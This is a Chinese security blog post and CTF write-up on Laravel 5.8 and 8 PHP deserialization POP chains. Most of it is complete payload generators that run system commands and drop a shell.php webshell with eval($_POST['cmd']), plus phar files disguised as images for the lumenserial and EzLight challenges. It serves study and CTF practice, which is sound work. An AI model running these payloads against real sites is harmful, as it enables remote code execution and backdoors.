百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

通过几道CTF题学习Laravel框架

bigegpt 2024-09-01 15:18 5 浏览

Laravel5.8.x反序列化POP链

安装:其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {
    if(isset($_GET['c'])){
        $code = $_GET['c'];
        unserialize($code);
    }
    else{
        highlight_file(__FILE__);
    }
    return "Test laravel5.8 pop";
});

然后在public目录起一个php服务就可以进行测试了

cd /public
php -S 0.0.0.0:port
/foo?c=

链一

链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这里的$this->events$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }
        return $this->dispatchNow($command);
    }

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }

这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver$connection都是可控的,到这里就可以直接构造payload

rce

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace {
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}

eval执行

到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的systemban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return

$definition变量是MockDefinition类,跟进一下

class MockDefinition
{
    protected $config;
    protected $code;
    ...
    public function getClassName()
    {
        return $this->config->getName();
    }
    public function getCode()
    {
        return $this->code;
    }
}

这里$code$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

class MockConfiguration
{
    ...
public function getName()
    {
        return $this->name;
    }
    ...
}

payload如下

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection;

        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct(MockConfiguration $config)
        {
            $this->config = $config;
            $this->code = '<?php phpinfo();?>';
        }
    }
}

namespace Mockery\Generator{
    class MockConfiguration
    {
        protected $name = "none class";
    }
}

namespace Mockery\Loader{
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {

        }
    }
}
namespace {
    $config = new \Mockery\Generator\MockConfiguration();
    $connection = new \Mockery\Generator\MockDefinition($config);
    $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
    $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
    $events = new \Illuminate\Bus\Dispatcher($queueResolver);
    $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
    echo urlencode(serialize($pendingBroadcast));
}

利用跳板

如果说靶机禁用了system等函数,我们希望用file_put_contentsshell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

final class LazyOption extends Option
{
    ...
    public function filter($callable)
    {
        return $this->option()->filter($callable);
    }
    ...
private function option()
    {
        if (null === $this->option) {
            /** @var mixed */
            $option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option

这里可以直接构造payload

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        public function __construct($callback, $arguments)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}
namespace {
    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));
}

链二

入口同样是

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

class Validator implements ValidatorContract
{
    ...
public function __call($method, $parameters)
    {
        $rule = Str::snake(substr($method, 8));

        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }

这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控

跟踪进callExtension方法

protected function callExtension($rule, $parameters)
    {
        $callback = $this->extensions[$rule];

        if (is_callable($callback)) {
            return call_user_func_array($callback, $parameters);

$callback$parameters可控,于是就可以构造payload

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Validation{
    class Validator{
        protected $extensions;
        public function __construct($extensions)
        {
            $this->extensions = $extensions;
        }
    }
}

namespace{
    $b = new Illuminate\Validation\Validator(array(''=>'system'));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
    echo urlencode(serialize($a));
}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Validation {
    class Validator {
        public $extensions;
        public function __construct($extensions){
            $this->extensions = $extensions;
        }
    }
}

namespace PhpOption {
    class LazyOption {
        private $callback;
        private $arguments;
        public function __construct($callback, $arguments) {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}

namespace {
    $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
    $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
    print(urlencode(serialize($a)));
}

Laravel8反序列化POP链

在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这里的$this->events$this->event可控

同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

public function __call($method, $parameters)
    {
        return $this->__invoke()->{$method}(...$parameters);
    }

    /**
     * Resolve the variable.
     *
     * @return mixed
     */
    public function __invoke()
    {
        return call_user_func($this->callable);
    }

这里的_call会直接调用__invoke$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace Illuminate\View {
    class InvokableComponentVariable {
        protected $callable;
        public function __construct($callable)
    {
        $this->callable = $callable;
    }
    }
}

namespace {
    $b = new Illuminate\View\InvokableComponentVariable('phpinfo');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
    print(urlencode(serialize($a)));
}

因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试

CTF题目

lumenserial

lumenserial\routes\web.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

再看到

lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller
{
private function download($url)
    {
...
        $content = file_get_contents($url);

发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量

class EditorController extends Controller
{
    ...
protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];

        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }

我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller
{
    ...
public function main(Request $request)
    {
        $action = $request->query('action');

        try {
            if (is_string($action) && method_exists($this, "do{$action}")) {
                return call_user_func([$this, "do{$action}"], $request);
            } else {

可以通过如下控制变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的基础加上如下

@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();

上传phar文件再用phar协议打即可

[HMBCTF 2021]EzLight

给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息

先看到source\source\app\Http\Controllers\Admin\NEditorController.php

public function catchImage(Request $request)
    {
    ...
    $files = array_unique((array) $request->post('file'));
        $urls = [];
        foreach ($files as $v) {
            $image = $this->fetchImageFile($v);

catchImage函数里面以post传给file参数再给到fetchImageFile$url

protected function fetchImageFile($url)
    {
    if (isWebp($data)) {
                $image = Image::make(imagecreatefromwebp($url));
                $extension = 'webp';
            } else {
                $image = Image::make($data);
            }

这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一直跟进就可以发现有个file_get_contents函数

至此结束,这里可以phar反序列化了

用上面的链一即可

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        public function __construct($callback, $arguments)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}
namespace {
    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));

    @unlink("test.phar");
    $phar = new \Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
    $phar->setMetadata($a);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();
    rename('test.phar','test.jpg');
}

上传之后,在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImagefile传参打就可以了

本文涉及相关实验:PHP反序列化漏洞实验 https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=toutiao-wemedia(通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)

相关推荐

LangChain4j如何自定义文档转换器实现数据清洗?

LangChain4j提供了3种RAG(Retrieval-AugmentedGeneration,检索增强生成)实现,我们通常在原生或高级的RAG实现中,要对数据进行清洗,也就是将外接...

Java 8 Stream API 详解(java stream.)

Java8StreamAPI详解一、概述在Java8中,StreamAPI是一个重要的新特性。它为处理集合(如List、Set等)中的元素提供了一种高效且富有表现力的方式。Str...

Java修炼终极指南:185 使用 Stream 过滤嵌套集合

这是面试中的一个经典问题,通常从一个模型开始,如下所示(我们假设集合是一个List):publicclassAuthor{privatefinalStringname;pri...

java8的stream使用小示例(java stream())

据JetBrains发布的2021年开发者生态系统调查,Java8在java使用的版本中仍然是当前最流行的版本。72%的专业开发人员使用Java8作为其在java开发中主要编程语言版本。现...

Node.js Stream - 实战篇(node.js in action)

本文转自“美团点评技术团队”http://tech.meituan.com/stream-in-action.html背景前面两篇(基础篇和进阶篇)主要介绍流的基本用法和原理,本篇从应用的角度,介...

Java Stream:集合处理的api(java 集合操作)

JavaStream流:高效集合处理的函数式编程利器一、什么是JavaStream?Java8引入的StreamAPI是一套用于处理集合数据的流式编程接口,通过函数式风格(无副作用的...

去除 List 中的重复元素,你知道几种实现方法?

去除List中重复元素,这在实际编程或面试中经常遇到,每个人都有习惯的写法吧,这里抛砖引玉,汇总了一些实现方案,开拓思路。准备数据假设数组中有10个数据,可能有重复,需要将重复的数据从数组中去掉。pu...

Java开发者必看!Stream流式编程10个爆款技巧,让你代码优雅飞起

为什么你的Java代码总像拧巴的麻绳?掌握这10个Stream实战技巧,代码效率与优雅度将产生质的飞跃。以下案例均来自真实电商系统场景,带你感受流式编程的降维打击!一、过滤与映射组合拳(Filter...

leetcode每日一题之存在重复元素(存在重复元素 iii)

题:给定一个整数数组,判断是否存在重复元素。如果存在一值在数组中出现至少两次,函数返回true。如果数组中每个元素都不相同,则返回false。比如:输入:[1,2,3,1]输出:true...

告别for循环!揭秘Stream API如何让你的代码简洁度提升300%

一、当传统循环遇上现代需求真实场景复现:某电商平台需要处理10万条订单数据,要求:筛选出金额>500的订单提取用户ID并去重统计VIP用户数量传统实现方案://常规写法Set<Long...

Java中List去重的N种方法:从基础到优雅

Java中List去重的N种方法:从基础到优雅在日常的Java开发中,我们经常会遇到需要对List集合去重的情况。无论是为了清理重复的数据,还是为了优化算法性能,掌握多种去重方式都是一项非常实用的技能...

Java Stream流没用过?常用高频方法

概念Stream流是Java8添加的以一种链式调用的方法处理数据,主要侧重于计算。具有以下相关特点代码简洁链式调用Stream常用方法1.将数组变为当作List操作String[]strArr=...

核医学专业名词索引(M-R)(核医学重点归纳)

M吗啡(morphia)埋藏式心律转复除颤器(implantablecardioverterdefibrillator,ICD)麦角骨化醇(VD2,calciferol)脉冲堆积(pulsepi...

CodeMeter 新版发布(codesigner下载)

威步于2022年8月4日发布CodeMeter7.50及CodeMeter软件保护套装11.10,以下为新版内容。CodeMeterRuntime7.50StreamingSIMDExten...

世界上最小的五轴铣床Pocket NC(最小的五轴加工中心)

PocketNC,由MIT学生研制,还有说法是这款产品的设计者是来自美国蒙大拿州的一对极客夫妻。目前主要有两款产品:PocketNCV2-50,9000美元;PocketNCV2-10,60...